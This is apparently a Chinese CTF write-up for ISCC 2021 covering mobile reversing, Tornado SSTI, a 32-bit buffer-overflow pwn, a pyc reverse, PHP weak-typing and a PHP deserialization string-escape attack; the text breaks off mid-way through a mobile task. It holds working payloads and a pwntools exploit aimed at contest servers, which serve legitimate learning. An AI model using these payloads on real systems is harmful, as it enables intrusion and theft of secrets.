ISCC2021

5/1 — 5/5 2021

我是个菜鸡,师傅轻点打

360截图17860603355468

本文记录

擂台

MOBILE

  • Mobile Normal +150

WEB

  • tornado +150

练武

MISC

  • Retrieve the passcode +50

  • 海市蜃楼-1 +100

  • 我的折扣是多少 +150

PWN

  • M78 +50

REVERSE

  • Garden +50

WEB

  • ISCC客服冲冲冲(一) +50

  • 这是啥 +50

  • Web01 +100

  • 登录 +300

MOBILE

  • Mobile Easy +100

擂台

Mobile Normal

一个中规中矩的Mobile题,你能把它搞定嘛?

jadx反编译得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example.mobilenormal;

import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
/* access modifiers changed from: protected */
@Override // androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}

private String getFlag() {
String part1 = new String(Base64.decode(new String("ZXZlcllvbmVfbDFrZVM=").getBytes(), 0));
String s = (new String(BuildConfig.FLAVOR) + "ISCC{") + part1;
return ((s + MyJni.getPart3()) + ((String) getResources().getText(R.string.smile))) + "}";
}

public void onClick(View view) {
if (((EditText) findViewById(R.id.editText)).getText().toString().equals(getFlag())) {
Toast.makeText(this, "right", 0).show();
} else {
Toast.makeText(this, "wrong", 0).show();
}
}
}

分析part1得everYone_l1keS,s为ISCC{everYone_l1keS
看了关于BuildConfig.FLAVOR的介绍地址

在BuildConfig找到part2为

1
public static final String FLAVOR = "";

即BuildConfig.FLAVOR为空

继续找part3

分析MyJni.getPart3()),找到System.loadLibrary(“MyJni”);果断ida64反编译lib/x86_64下libMyJni.so
找到Java_com_example_mobilenormal_MyJni_getPart3(__int64 a1)看不懂/(ㄒoㄒ)/~~

算了推倒重来
在android studio新建一个mobilenormal工程
添加MyJni.java

1
2
3
4
5
6
7
8
9
package com.example.mobilenormal;

public class MyJni {
public static native String getPart3();

static {
System.loadLibrary("MyJni");
}
}

,在build.gradle的android里添加

1
2
3
4
sourceSets {
main {
jniLibs.srcDirs = ['libs']
}

再将lib复制到项目libs文件夹,改主java程序加上
String str = MyJni.getPart3();
Log.i(“调用”, str);
得到_ANdr01d

Screenshot_20210501-212519

分析((String) getResources().getText(C0272R.string.smile))) + “}”;
看了一下getResources()函数,参考文章地址
C0272R.string.smile去com.example.mobilenormal.CR0272R找id得 public static final int smile = 2131427371;
看了一篇讨论说getResources().getText()找的是string.xml,于是使用文件搜索找到了src\main\res\values\strings.xml
打开发现有下面字符,很有可能是^ - ^

1
<string name="smile">^_^</string>

现在已经是ISCC{everYone_l1keS_ANdr01d^_^}了
安装他给的app,验证一波,提示对了

tornado

Tornado 是什么呢?
题目入口:http://39.96.91.106:7060

访问时出现
360截图16290611516190
点击第一个链接

1
2
http://39.96.91.106:7060/file?filename=/flag.txt&filehash=38c08fe238ff919895a95980aa92c53e
/flag.txt

出现

1
flag in /fllllllllllllaaaaaag

提示访问/fllllllllllllaaaaaag来获取flag

点击第二个链接

1
2
http://39.96.91.106:7060/file?filename=/welcome.txt&filehash=b0d60f47a7f9fe476226b0fa6b80700e
/welcome.txt

出现

1
render

点击第三个链接

1
2
http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15
/hints.txt

出现

1
md5(cookie_secret+md5(filename))

观察一下,随便尝试一下,访问

1
http://39.96.91.106:7060/file?filename=/fllllllllllllaaaaaag

提示Error,网址跳到了

1
http://39.96.91.106:7060/error?msg=Error

360截图16290610388068

访问

1
http://39.96.91.106:7060/error?msg=a

提示a

360截图168311018880107

尝试ssti注入
访问msg=2,提示500: Internal Server Error

1
http://39.96.91.106:7060/error?msg={{1+1}}

360截图168607128112091

访问msg=1 ,提示ORZ

1
http://39.96.91.106:7060/error?msg={{1*1}}

360截图1848110696115146

前面提示md5(cookie_secret+md5(filename)),结合前面得访问测试了解到要读文件需要cookie_secret
百度tornado cookie_secret,找到参数
可以访问

1
http://39.96.91.106:7060/error?msg={{handler.settings}}

1
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'ef57c331-744f-4528-b434-9746317d4f6a'}

需要的cookie_secret就是

1
ef57c331-744f-4528-b434-9746317d4f6a

访问/fllllllllllllaaaaaag
先求参数

1
2
3
<?php
echo md5('ef57c331-744f-4528-b434-9746317d4f6a'.md5('/fllllllllllllaaaaaag'));
?>

得1ad9b8e09fbe539bc5a6f2c8bc0ab5db

/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db
得到
ISCC{1531sSTi448_iScC_2021}

练武

Retrieve the passcode

Scatter说他能解开这个古怪的密码,你呢?来试试吧!
Flag格式:ISCC{XXX},XXX为小写字符串,不包括空格

给了一个压缩包

360截图17440627513788

computer.rar是加密压缩包

360截图17440628109144141

scatter.txt是一堆数据

360截图18180710557039

初步尝试

搜素scatter

360截图1708103091141115

估计它是坐标点,能画个图出来,编写一个python3程序试试

plt.scatter绘图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import matplotlib.pyplot as plt


file = open('scatter.txt', 'r', encoding = 'utf-8')#读scatter.txt
str_read = str(file.readlines())
str_read = str_read.replace(';', "\n")
file.close()
#写处理过的数据
with open("2.txt", "w", encoding = 'utf-8') as f:
f.write(str_read)

file = open('2.txt', 'r', encoding = 'utf-8')#读输出文件
for line in file.readlines():#读每一行
lines = str(line)
xx = lines[0:lines.index(":")]#读第一个数据
yy = lines[lines.index(":")+1:lines.rindex(":")]#读第二个数据

plt.scatter(xx, yy)
file.close()

plt.show()

运行结果

360截图18430709107159119

怪怪的,调整一下看看

360截图18430708116124119

还是怪怪的,把程序修改一下

1
2
3
4
5
6
for line in file.readlines():#读每一行
lines = str(line)
xx = lines[0:lines.index(":")]#读第一个数据
yy = lines[lines.index(":")+1:lines.rindex(":")]#读第二个数据

plt.scatter(yy, xx)

360截图1786060563100101

旋转一下

Figure_1

得到

1
365728
尝试对压缩包解压

360截图1872011876122116

下面有几行奇怪的东西

1
/ -.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ...\
1
/ -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. . \

估计是摩尔斯电码

写python3解密摩尔斯
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Keys = 'abcdefghijklmnopqrstuvwxyz0123456789'
Values = ['.-','-...','-.-.','-..','.','..-.','--.','....',
'..','.---','-.-','.-..','--','-.','---','.--.',
'--.-','.-.','...','-', '..-','...-','.--','-..-',
'-.--','--..','-----','.----','..---','...--',
'....-','.....','-....','--...','---..','----.']

input_mos = "-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ... -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. ."

dict_mos = input_mos.split(" ")
dec_mos = ""
for i in dict_mos:
for ii,val in enumerate(Values):
if i == val:#比对
dec_mos += str(Keys[ii])
break

print("Dec result: ", dec_mos)

结果

360截图16810304333925

flag

360截图16720329368184

海市蜃楼-1

或许你看到的只是海市蜃楼…

给了个压缩包

360截图17390219545668

初步尝试

解压docx

360截图17440629117110144

看到PK

尝试改成.zip

360截图17860602277366

一个一个xml文档看

360截图17001019396175

找到了

360截图181412199110279

flag

1
ISCC{zheshishui}

我的折扣是多少

小c同学去参加音乐会,在官网买票时发现了有提示消息,提供给的有“give_me_discount”的压缩包,好奇的小c下载下来,但却无从下手,为了节省零花钱,你能帮帮他吗?

给了一个压缩包

360截图178606047910591

me.zip是加密的,先跑了再说

360截图18290331363843

360截图184701317910984

初步尝试

运行give.exe。

360截图17690621373941

解码一下

360截图18141222183750

1
pass1{krw}
看向me.zip

用010Editor看看

360截图17860601577871

看起来像Base家族的

Base64解码一下

360截图16280713483647

我们现在有了

1
2
pass1{krw}
pass2{gcc666}
看看discount.mp3

还挺好听的

360截图173902287311068

由于是mp3,尝试用MP3Stego

360截图16560317325149

跑不出来

尝试把krwgcc666解压压缩包(这时ziphello还没跑出来)

解压成功

360截图18141215446970

还是Base解码

360截图17030626250613

1
youfoundme?

再次尝试MP3Stego

360截图18141221112156105

得txt

360截图167203317176107

还是Base

360截图1872011596145108

尝试Base32

360截图18430706367865

flag

1
ISCC{Yourdiscount2.15}

M78

欢迎来到M78星云的光之国,开始你的奇妙冒险吧!
题目入口:http://39.96.88.40:7010
Flag格式:flag{XXX}

初步尝试

下载的文件M78

对其执行checksec

*32位程序

*NX保护也就是栈不可执行

360截图1677080576118103

逆向分析

ida打开

先看主函数部分

调用了explorer函数

360截图16960429336025
看过了explore函数和后面的check函数,感觉找不到可以溢出的地方

找后门函数

先把后门函数找到

1
2
3
4
int call_main()
{
return system("/bin/sh");
}

记录下地址0x08049202

360截图17360625406856

尝试直接运行

不允许的情况

360截图1742091867118122

允许的情况

程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了

360截图178605308685111

反而输入7个a是不能成的

360截图18141214688754

写了个c程序验证,果然如此

360截图17661023405132

开干

找溢出目标

可以看到调用了check函数

360截图17970217108134117

存在溢出的是strcpy那里,只需要让dest溢出即可,这个dest是下图中的第一句c程序char dest;

为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest变量存储的最大值(ebp-18h那里)(也就是0x18),存在溢出

360截图16720331202657

满足字符长度为7的条件

char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试

360截图173606238712169

条件测试1

char经过测试范围为-128至127,下面是测试过程
写了一个c程序进行观察

保存为1.c

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
char buf; #保持和题目程序一致
char buf1[200];
scanf("%s", buf1); #数组不需要取地址&
buf = strlen(buf1);
printf("%d\n", buf);
return 0;
}

gcc编译

使用-m32参数保证编译32位程序

1
gcc 1.c -o 1.o -m32

使用pwntools测试

1
2
3
4
5
6
from pwn import *
#p = remote("39.96.88.40","7010")
p = process('./1.o')
payload = (128)*'a'
p.sendline(payload)
p.interactive()

结果

360截图16520813108133127

更多结果

360截图17030622645889

360截图173606238712169

条件测试1总结

也就是输入256+i,存储的就是i(i为整数)

怼题目程序

那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7

为啥?本文开头那里“尝试直接运行”部分有说明

构造payload

由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作

1
0x18 * 'a' + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-4-4) * 'a'

对于使用ljust()方法自动填充的,类似代码如下,是无法使用的,原因的话请接着往下面看

1
2
payload = 0x18 * 'a' + p32(0x08049202).decode("iso-8859-1")
payload = payload.ljust(262, 'a')

读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的

360截图1786053089110144

payload解释

0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出

汇编显示有leave指令,即mov esp,ebp和 pop ebp

pop ebp也就是说pop时候,出栈用esp寄存器接收数据

360截图18430706484576

4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈

详解ebp和esp寄存器

那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数

ret指令的作用

(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符

而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度

360截图18430708111141144

前面已经说明使用262的原因

完整exp

exploit如下

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("39.96.88.40","7010")
#p = process('./M78')

payload = 'a' * 0x18 + 4 * 'a' + p32(0x08049202).decode("iso-8859-1") + (262-0x18-8) * 'a'
p.sendlineafter("Your choice?",'1') #代替人工输入,sendlineafter意思是读到了“Your choice?”这个字符串才开始输入
p.sendlineafter("Please choose a building","test")
p.sendlineafter("Please input the password", payload)

p.interactive()
最后的操作
1
2
3
4
5
6
7
8
$ ls
M78
bin
dev
flag.txt
lib
lib32
lib64
1
2
$ cat flag.txt
flag{N@x_addr_*EnaBleD%}

得flag

1
flag{N@x_addr_*EnaBleD%}

Garden

花园里藏了一个小宝贝,你能找到他吗?

初步尝试

附件是个.pyc文件

使用在线pyc反编译网站

是python2.7程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#! /usr/bin/env python 2.7 (62211)
#coding=utf-8
# Compiled at: 2021-02-27 22:29:29
#Powered by BugScaner
#http://tools.bugscaner.com/
#如果觉得不错,请分享给你朋友使用吧!
import platform, sys, marshal, types

def check(s):
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06' #2(886IKIJ+
if len(s) != len(f):
return False
checksum = 0
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123

return checksum == 0


if sys.version_info.major != 2 or sys.version_info.minor != 7:
sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.') #试试Python 2.7
if len(sys.argv) != 2:
sys.exit('usage: bronze.pyc <flag>')
flag = sys.argv[1]
if len(flag) >= 32:
print '太长了'
sys.exit(1)
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
for ch in flag:
if ch not in alphabet:
print '\xe4\xb8\x8d\xe5\xaf\xb9.' #不对
sys.exit(1)

if check(flag):
print '\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!' #就是这个
sys.exit(0)
else:
print '\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.' #搞错了
sys.exit(1)

进一步分析

程序分析

首先要注意是python2.7程序,要有python2.7运行环境

check函数用来判断输入是否正确

使用异或操作

1
2
3
4
5
6
7
8
9
def check(s):
f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06' #2(886IKIJ+
if len(s) != len(f):
return False
checksum = 0
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123

return checksum == 0

提示程序使用方法

1
2
if len(sys.argv) != 2:
sys.exit('usage: bronze.pyc <flag>')

给定了字符

1
alphabet = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+')
修改check函数

改成可控制的比对字符

1
2
3
4
5
6
7
8
9
def check(s, tar_get):
f = tar_get
if len(s) != len(f):
return False
checksum = 0
for a, b in zip(f, s):
checksum += ord(b) ^ ord(a) ^ 123

return checksum == 0

一个一个字符对其进行匹配即可

1
2
3
4
5
6
7
8
strset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+'
flag = ''
for a in "2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06":
for i in strset:
if check(i, a):
flag += i
break
print flag

非常简单就出flag了

1
ISCC{Makka2021Pakka}

ISCC客服冲冲冲(一)

又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗!
题目入口:http://39.96.91.106:7020

研究发现调用函数,参数为this,那就js获取按钮的object,循环刷

添加

1
<script>for (i=0;i<30000;i++) voting(document.getElementById("left_button"));</script>

360截图17680803444168

开局30000票,随便你刷

360截图17860605335085

倒计时完得

360截图17911012402855

flag

1
ISCC{1SCC_2o2l_KeFuu}

这是啥

这是什么东西呢?
题目入口:http://39.96.91.106:7030

隐藏的jsfuck

360截图17860529668282

浏览器F12运行

360截图18430710197041

得到iscc{what_is*_jsJS&}
提交,不对,改成ISCC{what_is*_jsJS&}遂正确

Web01

正则匹配最后的倔强。
题目入口:http://39.96.91.106:7040

常规尝试

360截图17420914476879

360截图162401308082102

360截图167204067010689

360截图187201171038788

最后在

1
http://39.96.91.106:7040/code/code.txt

给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

看了一下”/^[a-zA-Z0-9]+$/“发现必须存在大小写26个英文0-9
我的测试代码:

1
2
3
4
5
<?php
$str = "10e9*-*";
var_dump(preg_match("/^[a-zA-Z0-9]+$/",$str) === FALSE);
var_dump($str>9999999);
?>

这正则过滤了个寂寞。。。
因为比较没有使用===,所以可以利用php弱类型
GET参数为

1
password=10e9*-*

得flag

1
ISCC{1SCc-202i}

登录

登录来上传自己的信息吧!
题目入口:http://39.96.91.106:7010

360截图182103194971103

初步尝试

没有源码不好搞,尝试了如

admin admin

admin 123456

等账号密码无法登录,尝试简单mysql注入也不行

后来尝试root 123456居然能登录。。。不过并没有什么卵用

进一步尝试

还得看看源码才行,尝试下载www.zip,结果还真有这么个文件

里面自然是源码

360截图17860530869096

尝试登录

前面说root 123456能登录,看了源码之后发现实际上它提供用户注册,所以就算没有账号也没有关系,去注册一个就好了

注册的地方在register.php

360截图179110107911476

登录进去后会显示一些信息(下图为改过信息之后的)

像下图这样啥也做不了

360截图184811148713293

进一步分析

粗看源码进行总结

update.php 更新个人信息,有电话、邮箱、nickname

config.php 写的mysql服务器的配置,甚至可能保存了flag

class.php 各种信息的处理存储读取,连接mysql数据库

index.php 提示登录

register.php 注册用

profile.php 展示信息

上传自己的信息

不过题目提示登录来上传自己的信息,也就是说信息是可以改的

通过查看源码,发现update.php

360截图17571117398642

不登陆不能访问(因为已经登陆了所以得用另外一个浏览器才能未登录)

360截图1872012493143100

尝试上传

360截图16720404243609

填写信息

360截图17100808346876

改完之后变成了这样

360截图17571121103110114

通过阅读源码,可以得知上传的文件按文件名求md5再当作新文件名保存在upload/里面

展示图片时直接对读取图片内容再对图片base64转码,也就是想通过上传来上传一句话木马不可行

因为最终上传到服务器上的文件没有后缀名

360截图1796032488126117

验证一下,通过md5为文件名下载刚刚上传的图片

360截图16261006104129124

添加后缀名

360截图17571114739592

就是刚才上传的图片

360截图17860607155841

阅读config.php

这个文件定义了一个flag变量,由此可以猜测

最终的flag应该是在这个文件里面,要想办法读取服务器上保存的的config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
阅读class.php

乍一看好像没有什么可以操作的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

不过并不妨碍我们注意到几段代码

filter函数

有filter进行字符串处理,说明有用户可以接触的输入,可以接下去寻找突破点

1
2
3
4
5
6
7
8
9
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

继续把目光转向profile.php

阅读profile.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>
</div>
</body>
</html>
<?php
}
?>

出现了唯一一个会将读取文件的内容展示给用户的地方

1
2
$photo = base64_encode(file_get_contents($profile['photo']));
<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">

还可以注意到profile.php中出现了反序列化函数unserialize()

既然需要反序列化,那么之前肯定先进行了序列化

360截图165208227410473

继续看update.php

阅读update.php

可以见到,似乎为了方便传递用户的输入,程序对存储的数组进行了序列化处理

360截图184307035210482

$user->update_profile意思是调用user类里面的update_profile函数,这个存在于前面的class.php里面

1
2
3
4
5
6
7
8
9
class user extends mysql{
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
}

上面的程序调用了parent::update(),即mysql()类里的update()

1
2
3
4
5
6
class mysql {
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
}

结合前面提到的filter函数,可以写出这么个流程

1
2
1、用户输入(update.php)保存为数组->2、对数组进行序列化(update.php)->3、字符过滤(通过class.php)->4、保存到数据库(通过class.php)->
5、用户访问个人中心(profile.php)->6、从数据库读取(通过class.php)->7、反序列化为数组(profile.php)->8、展示给用户(profile.php)

机会来了–PHP反序列化漏洞

只要使步骤7反序列化为数组时$profile[‘phone’]存储的文件的地址改成config.php,就能把读取的数据展示出来

要实现,就要在访问update.php时提交恶意数据,完成对保存到数据库前提交的数据进行处理

360截图17100808346876

概念

关于PHP反序列化漏洞

这里简单举个例子说明一下

1
2
3
$profile['nickname'] = "123";
$profile['photo'] = 'picture';
echo serialize($profile); //序列化

可得结果

1
a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:7:"picture";}

反序列化后可得

1
2
3
4
5
6
array(2) {
["nickname"]=>
string(3) "123"
["photo"]=>
string(7) "picture"
}

如果我对它处理(在123处添加**”;s:5:”photo”;s:8:”picture2”;}**)

a:2:{s:8:”nickname”;s:3:”123**”;s:5:”photo”;s:8:”picture2”;}**”;s:5:”photo”;s:7:”picture”;}

反序列化可得

1
2
3
4
5
6
array(2) {
["nickname"]=>
string(3) "123"
["photo"]=>
string(8) "picture2"
}

可以看到我控制了$profile[‘photo’]的值

现实情况下往往不能直接操作存储于服务器上面的序列化后得到的字符串

有时我们仅能输入

$profile[‘nickname’]

$profile[‘photo’]

如果还按上面那样操作

1
2
3
4
5
6
$profile['nickname'] = '123";s:5:"photo";s:8:"picture2";}';
$profile['photo'] = 'picture';
$seri = serialize($profile) //a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}
echo $seri;
echo "\n\n";
var_dump(unserialize($seri));

反序列化后就会变成这样

1
2
3
4
5
6
array(2) {
["nickname"]=>
string(33) "123";s:5:"photo";s:8:"picture2";}"
["photo"]=>
string(7) "picture"
}

如果你有能力把

1
a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}

改成

1
a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}

就能得到

1
2
3
4
5
6
array(2) {
["nickname"]=>
string(3) "123"
["photo"]=>
string(8) "picture2"
}

或者你有能力把

1
a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}

改成

加上30个a是因为”;s:5:”photo”;s:8:”picture2”;}是

注意:必须操作序列化后的字符串

1
a:2:{s:8:"nickname";s:33:"123aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";}

就能得到

1
2
3
4
5
6
array(2) {
["nickname"]=>
string(33) "123aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
["photo"]=>
string(8) "picture2"
}

即把picture改成了picture2,因为PHP把它认作了

1
a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:8:"picture2";}

成功控制了$profile[‘photo’]的值

但是非常遗憾,除非服务器上的程序存在“叛徒”或者存在用户能操作序列化后的字符串的程序或者你能更改服务器上的程序(那还入侵啥),否则没有这个能力

如果满足上面条件,就可以完成你的目标

开干

构造前分析

在后台接收的数据

1
2
3
4
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

选择**$profile[‘nickname’],因为它的后面就是就是图片保存的地方$profile[‘photo’]**

也就是要在**$_POST[‘nickname’]传入恶意数据,达到控制$profile[‘photo’]**值的目的

而控制了$profile[‘photo’]的值后,就可以访问profile.php查看读取的内容

360截图17370517726860

再来仔细看看

1
2
3
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];

phone email nickname内容可供输入,就从nickname下手

需要改变序列化后的内容,正好update_profile函数里面调用的filter函数就能帮忙

360截图17100812606179

360截图18221231618162

前面提过的filter函数

360截图18290324383423

它能将‘和\替换成_

360截图176303307162105

能将’select’, insert, update, delete, where替换成hacker

360截图17130409599052

目标是要让nickname序列化出来的值增加,那么只要把where换成hacker是可选的,每加一个where就会增加一个字符

那么只要nickname传34个where,后接”;}s:5:”photo”;s:10:”config.php”;}(这个字符串34个字符)

360截图18481108789686

就能实现目标

构造payload
1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
绕过限制

当然要注意绕过一些条件

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

360截图17690624467679

使用数组传值即可,nickname为数组并不影响反序列化漏洞出来的photo

360截图17001016206272

360截图187903138291129

成功保存到数据库

360截图1761061179112105

访问profile.php

360截图18500825457774

解码base64

360截图18490930295726

得flag

360截图181412168810493

Mobile Easy(android1)

这是一道简单的Mobile题,快来做做看吧

基本尝试

jadx反编译apk

先看MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.example.mobileeasy;

import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
